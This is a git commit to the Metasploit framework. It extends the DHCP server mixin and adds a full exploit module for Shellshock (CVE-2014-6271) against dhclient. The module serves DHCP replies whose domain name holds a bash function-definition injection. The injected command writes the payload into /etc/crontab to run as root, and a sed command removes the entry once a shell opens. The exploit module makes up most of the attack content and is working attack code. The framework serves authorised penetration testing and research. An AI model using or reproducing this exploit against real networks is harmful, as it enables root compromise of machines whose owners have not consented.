Add DHCP server module for CVE-2014-6271
parent
259a368577
commit
86f85a356d
|
@ -12,7 +12,24 @@ module Msf
|
|||
module Exploit::DHCPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
|
||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||
], self.class)
|
||||
|
||||
@dhcp = nil
|
||||
end
|
||||
|
@ -21,7 +38,7 @@ module Exploit::DHCPServer
|
|||
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
|
||||
print_status("Starting DHCP server") if datastore['VERBOSE']
|
||||
@dhcp.start
|
||||
add_socket(@dhcp.socket)
|
||||
add_socket(@dhcp.sock)
|
||||
@dhcp
|
||||
end
|
||||
|
||||
|
|
|
@ -19,6 +19,7 @@ OpDHCPServer = 0x36
|
|||
OpLeaseTime = 0x33
|
||||
OpSubnetMask = 1
|
||||
OpRouter = 3
|
||||
OpDomainName = 15
|
||||
OpDns = 6
|
||||
OpHostname = 0x0c
|
||||
OpEnd = 0xff
|
||||
|
|
|
@ -31,6 +31,7 @@ class Server
|
|||
self.myfilename << ("\x00" * (128 - self.myfilename.length))
|
||||
|
||||
source = hash['SRVHOST'] || Rex::Socket.source_address
|
||||
self.domain_name = hash['DOMAINNAME'] || nil
|
||||
self.ipstring = Rex::Socket.addr_aton(source)
|
||||
|
||||
ipstart = hash['DHCPIPSTART']
|
||||
|
@ -151,6 +152,7 @@ class Server
|
|||
end
|
||||
|
||||
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
||||
attr_accessor :domain_name
|
||||
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
||||
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
||||
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
||||
|
@ -166,7 +168,7 @@ protected
|
|||
wds = []
|
||||
eds = [@sock]
|
||||
|
||||
r,w,e = ::IO.select(rds,wds,eds,1)
|
||||
r,_,_ = ::IO.select(rds,wds,eds,1)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
buf,host,port = self.sock.recvfrom(65535)
|
||||
|
@ -198,19 +200,19 @@ protected
|
|||
end
|
||||
|
||||
# parse out the members
|
||||
hwtype = buf[1,1]
|
||||
_hwtype = buf[1,1]
|
||||
hwlen = buf[2,1].unpack("C").first
|
||||
hops = buf[3,1]
|
||||
txid = buf[4..7]
|
||||
elapsed = buf[8..9]
|
||||
flags = buf[10..11]
|
||||
_hops = buf[3,1]
|
||||
_txid = buf[4..7]
|
||||
_elapsed = buf[8..9]
|
||||
_flags = buf[10..11]
|
||||
clientip = buf[12..15]
|
||||
givenip = buf[16..19]
|
||||
nextip = buf[20..23]
|
||||
relayip = buf[24..27]
|
||||
clienthwaddr = buf[28..(27+hwlen)]
|
||||
_givenip = buf[16..19]
|
||||
_nextip = buf[20..23]
|
||||
_relayip = buf[24..27]
|
||||
_clienthwaddr = buf[28..(27+hwlen)]
|
||||
servhostname = buf[44..107]
|
||||
filename = buf[108..235]
|
||||
_filename = buf[108..235]
|
||||
magic = buf[236..239]
|
||||
|
||||
if (magic != DHCPMagic)
|
||||
|
@ -293,6 +295,8 @@ protected
|
|||
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
||||
pkt << dhcpoption(OpRouter, self.router)
|
||||
pkt << dhcpoption(OpDns, self.dnsserv)
|
||||
pkt << dhcpoption(OpDomainName, self.domain_name)
|
||||
|
||||
if self.servePXE # PXE options
|
||||
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
||||
# We already got this one, serve localboot file
|
||||
|
|
|
@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dhcp'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::DHCPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dhclient Bash Environment Variable Injection',
|
||||
'Description' => %q|
|
||||
When bash is started with an environment variable that begins with the
|
||||
string "() {", that variable is treated as a function definition and
|
||||
parsed as code. If extra commands are added after the function
|
||||
definition, they will be executed immediately. When dhclient receives
|
||||
an ACK that contains a domain name or hostname, they are passed to
|
||||
configuration scripts as environment variables, allowing us to trigger
|
||||
the bash bug.
|
||||
|
||||
Because of the length restrictions and unusual networking scenario at
|
||||
time of exploitation, we achieve code execution by echoing our payload
|
||||
into /etc/crontab and clean it up when we get a shell.
|
||||
|,
|
||||
'Author' => [ 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-6271'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
# 255 for a domain name, minus some room for encoding
|
||||
'Space' => 200,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet ruby',
|
||||
}
|
||||
},
|
||||
'Targets' => [ [ 'Automatic Target', { }] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 24 2014'
|
||||
))
|
||||
|
||||
deregister_options('DOMAINNAME')
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
print_status "Cleaning up crontab"
|
||||
# XXX this will brick a server some day
|
||||
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
|
||||
end
|
||||
|
||||
def exploit
|
||||
hash = datastore.copy
|
||||
# Quotes seem to be completely stripped, so other characters have to be
|
||||
# escaped
|
||||
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
|
||||
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
|
||||
hash['DOMAINNAME'] = "() { :; };#{echo}"
|
||||
if hash['DOMAINNAME'].length > 255
|
||||
raise ArgumentError, 'payload too long'
|
||||
end
|
||||
start_service(hash)
|
||||
|
||||
begin
|
||||
while @dhcp.thread.alive?
|
||||
sleep 2
|
||||
end
|
||||
ensure
|
||||
stop_service
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue